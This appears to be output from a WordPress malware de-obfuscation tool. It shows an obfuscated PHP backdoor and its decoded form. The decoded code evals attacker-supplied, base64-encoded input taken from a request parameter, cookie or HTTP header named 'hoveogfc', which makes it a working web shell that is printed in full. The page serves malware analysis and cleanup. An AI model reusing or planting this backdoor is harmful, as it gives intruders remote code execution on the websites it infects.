De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php $hemostats ='o';$he = '"';$champagne= 'r((seEpQ';$inn='[C:[_rt4'; $animals ='e'; $boardinghouses = ',';$jailed='O'; $hourly = 'c';$illustrious='Poe'; $antelopes = '5o'; $carriage ='o';$appareled= 'G_UeM$N';$bathos ='$OT,i.$'; $correcting= 'E';$hanger = ';'; $gang= 'g';$bethena = 'Eld()'; $interferingly='y'; $jag = 'T'; $idealizing='Fg(T'; $germain='-'; $knights='a'; $inviolate='F'; $juridic='('; $anthe=']Va$:vas';$blair= 'n)Ts'; $joly = 'eR'; $debt= 'i'; $amounts='a;e(i_W'; $kenyon= '+'; $anne='igo*vF'; $creamy = '?i=;e("6C';$byron= '('; $holistic = ')_EX'; $cupboard=';';$gargled = ')';$hind ='h'; $cautioners = 'H'; $chartable = 'V';$falsity='h)@alJ$'; $beribboned='$'; $astounds='rOP$tLs,';$logicians='S"(@ls"'; $korella = 'p'; $erwin='t';$madonna='eR';$buckboard='He_sut';$discreteness = 'P'; $landmark ='t'; $cavort = 'e9iaQ'; $battalions = '$'; $harms= 'r3tK)6@';$existentialism='jgsrI)0B';$kewl='$D/';$clog = 'o';$encouragement = 'efs_]';$jury =')unc2"H)'; $lamming ='R$8y)';$boar ='T'; $hunch ='S'; $dasi = '(';$dryad= 'a'; $excelling= 'r';$gamblers='H'; $chatters ='ofe]Z_f'; $dates= 'dobOgeEd';$enriches = 'A'; $deluge= 'fE'; $electors = '@'; $giver = ';';$convolve ='b';$attitudes= 'sm4';$calisthenic = 'krt7ama'; $grievingly = 'a'; $indentation= 'GcIUg_i`['; $holt = ')eC'; $glassy ='='; $catastrophe = 'ei1V'; $inquirer= '>=S';$complexion='<';$jacki ='"'; $ballroom='[';$chained = 'd';$fantod='_Epe?c"]';$carr = 'r'; $anvil ='t_a'; $interconnecting =')';$coatings= 'er"qCr^';$licensee= 'i';$corrina= 'v'; $bishop='Ovh['; $brigadiers='_'; $goober = '_'; $justin= 'c'; $bombardment ='EO'; $locations ='r'; $likelihood='(Rv'; $disambiguates='v?O]TnaiV'; $enjoyably = 'f';$enameling =':H'; $boric = 'eccY('; $evy='GrnK '; $defended=$boric['2']. $evy['1'] . $boric['0'] .$disambiguates['6']. $anvil['0'] . $boric['0'] . $goober.$enjoyably. $jury['1'] . $evy['2']. $boric['2']. $anvil['0']. $disambiguates['7']. $dates['1'] . $evy['2']; $assortment= $evy['4']; $gila= $defended($assortment,$boric['0'] . $disambiguates['0'].$disambiguates['6'].$logicians['4'].$boric[4]. $electors .$disambiguates['6'] . $evy['1'].$evy['1']. $disambiguates['6']. $lamming['3'] . $goober . $fantod['2'] .$dates['1'] .$fantod['2'] . $boric[4] . $enjoyably .$jury['1'] . $evy['2']. $boric['2']. $goober.$indentation['4'] . $boric['0'] . $anvil['0'] .$goober .$disambiguates['6'].$evy['1']. $indentation['4'] . $attitudes['0'] . $boric[4] . $interconnecting. $interconnecting. $interconnecting . $giver); $gila ($anne[3] , $bishop['3'] ,$appareled['4'] ,$enameling['1'] , $appareled['6'], $lamming['1'], $coatings['3'] , $coatings['2'], $lamming['1'] .$disambiguates['7']. $inquirer['1'] . $electors . $disambiguates['6'] .$evy['1']. $evy['1'].$disambiguates['6']. $lamming['3'] .$goober . $calisthenic['5'] . $boric['0'] . $evy['1']. $indentation['4']. $boric['0']. $boric[4] . $lamming['1'].$goober.$likelihood['1']. $bombardment['0'].$cavort['4'] . $indentation['3'] . $bombardment['0'] . $inquirer['2'] . $disambiguates['4'] . $astounds['7'] . $lamming['1']. $goober.$coatings['4'] . $disambiguates[2]. $disambiguates[2]. $evy['3'] . $indentation['2'] .$bombardment['0'] . $astounds['7'] . $lamming['1']. $goober . $inquirer['2'].$bombardment['0']. $likelihood['1']. $disambiguates['8'] .$bombardment['0']. $likelihood['1'] . $interconnecting.$giver. $lamming['1'].$disambiguates['6'] . $inquirer['1'].$disambiguates['7'].$attitudes['0'] . $attitudes['0'] .$boric['0']. $anvil['0']. $boric[4].$lamming['1'] . $disambiguates['7'] . $bishop['3'] . $coatings['2']. $bishop[2]. $dates['1'] .$disambiguates['0'].$boric['0'] . $dates['1'] . $indentation['4'] . $enjoyably . $boric['2']. $coatings['2']. $disambiguates['3']. $interconnecting.$disambiguates['1'] . $lamming['1'].$disambiguates['7'] . $bishop['3'] .$coatings['2'].$bishop[2]. $dates['1'] .$disambiguates['0'].$boric['0']. $dates['1'] .$indentation['4']. $enjoyably .$boric['2'].$coatings['2'] . $disambiguates['3'] .$enameling['0'] .$boric[4]. $disambiguates['7'] . $attitudes['0'] . $attitudes['0'] . $boric['0'].$anvil['0']. $boric[4] . $lamming['1'] .$disambiguates['7'] . $bishop['3'].$coatings['2'] . $enameling['1']. $disambiguates['4'] .$disambiguates['4'] . $discreteness. $goober .$enameling['1'].$disambiguates[2] . $disambiguates['8'] . $bombardment['0']. $disambiguates[2] . $evy['0'] . $anne['5'] . $coatings['4'].$coatings['2']. $disambiguates['3'].$interconnecting . $disambiguates['1']. $lamming['1'] . $disambiguates['7'] . $bishop['3'].$coatings['2']. $enameling['1'].$disambiguates['4'] . $disambiguates['4'] . $discreteness .$goober . $enameling['1'].$disambiguates[2] . $disambiguates['8'] .$bombardment['0'] .$disambiguates[2] . $evy['0'] .$anne['5'] . $coatings['4']. $coatings['2'].$disambiguates['3']. $enameling['0']. $chained. $disambiguates['7'] . $boric['0']. $interconnecting .$giver . $electors . $boric['0']. $disambiguates['0'] . $disambiguates['6']. $logicians['4'] .$boric[4] . $attitudes['0'] . $anvil['0'].$evy['1'] . $evy['1']. $boric['0'] .$disambiguates['0']. $boric[4] . $convolve . $disambiguates['6'].$attitudes['0']. $boric['0'] .$harms['5'] .$attitudes['2'] .$goober . $chained .$boric['0']. $boric['2'] .$dates['1'] .$chained. $boric['0']. $boric[4] . $attitudes['0']. $anvil['0']. $evy['1'] . $evy['1'] .$boric['0']. $disambiguates['0']. $boric[4]. $lamming['1'] . $disambiguates['6'].$interconnecting .$interconnecting . $interconnecting.$interconnecting.$giver );
<?php $hemostats = 'o'; $he = '"'; $champagne = 'r((seEpQ'; $inn = '[C:[_rt4'; $animals = 'e'; $boardinghouses = ','; $jailed = 'O'; $hourly = 'c'; $illustrious = 'Poe'; $antelopes = '5o'; $carriage = 'o'; $appareled = 'G_UeM$N'; $bathos = '$OT,i.$'; $correcting = 'E'; $hanger = ';'; $gang = 'g'; $bethena = 'Eld()'; $interferingly = 'y'; $jag = 'T'; $idealizing = 'Fg(T'; $germain = '-'; $knights = 'a'; $inviolate = 'F'; $juridic = '('; $anthe = ']Va$:vas'; $blair = 'n)Ts'; $joly = 'eR'; $debt = 'i'; $amounts = 'a;e(i_W'; $kenyon = '+'; $anne = 'igo*vF'; $creamy = '?i=;e("6C'; $byron = '('; $holistic = ')_EX'; $cupboard = ';'; $gargled = ')'; $hind = 'h'; $cautioners = 'H'; $chartable = 'V'; $falsity = 'h)@alJ$'; $beribboned = '$'; $astounds = 'rOP$tLs,'; $logicians = 'S"(@ls"'; $korella = 'p'; $erwin = 't'; $madonna = 'eR'; $buckboard = 'He_sut'; $discreteness = 'P'; $landmark = 't'; $cavort = 'e9iaQ'; $battalions = '$'; $harms = 'r3tK)6@'; $existentialism = 'jgsrI)0B'; $kewl = '$D/'; $clog = 'o'; $encouragement = 'efs_]'; $jury = ')unc2"H)'; $lamming = 'R$8y)'; $boar = 'T'; $hunch = 'S'; $dasi = '('; $dryad = 'a'; $excelling = 'r'; $gamblers = 'H'; $chatters = 'ofe]Z_f'; $dates = 'dobOgeEd'; $enriches = 'A'; $deluge = 'fE'; $electors = '@'; $giver = ';'; $convolve = 'b'; $attitudes = 'sm4'; $calisthenic = 'krt7ama'; $grievingly = 'a'; $indentation = 'GcIUg_i`['; $holt = ')eC'; $glassy = '='; $catastrophe = 'ei1V'; $inquirer = '>=S'; $complexion = '<'; $jacki = '"'; $ballroom = '['; $chained = 'd'; $fantod = '_Epe?c"]'; $carr = 'r'; $anvil = 't_a'; $interconnecting = ')'; $coatings = 'er"qCr^'; $licensee = 'i'; $corrina = 'v'; $bishop = 'Ovh['; $brigadiers = '_'; $goober = '_'; $justin = 'c'; $bombardment = 'EO'; $locations = 'r'; $likelihood = '(Rv'; $disambiguates = 'v?O]TnaiV'; $enjoyably = 'f'; $enameling = ':H'; $boric = 'eccY('; $evy = 'GrnK '; $defended = "create_function"; $assortment = $evy['4']; $gila = function () { eval(@array_pop(func_get_args())); }; $gila($anne[3], $bishop['3'], $appareled['4'], $enameling['1'], $appareled['6'], $lamming['1'], $coatings['3'], $coatings['2'], "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"hoveogfc\"])?\$i[\"hoveogfc\"]:(isset(\$i[\"HTTP_HOVEOGFC\"])?\$i[\"HTTP_HOVEOGFC\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.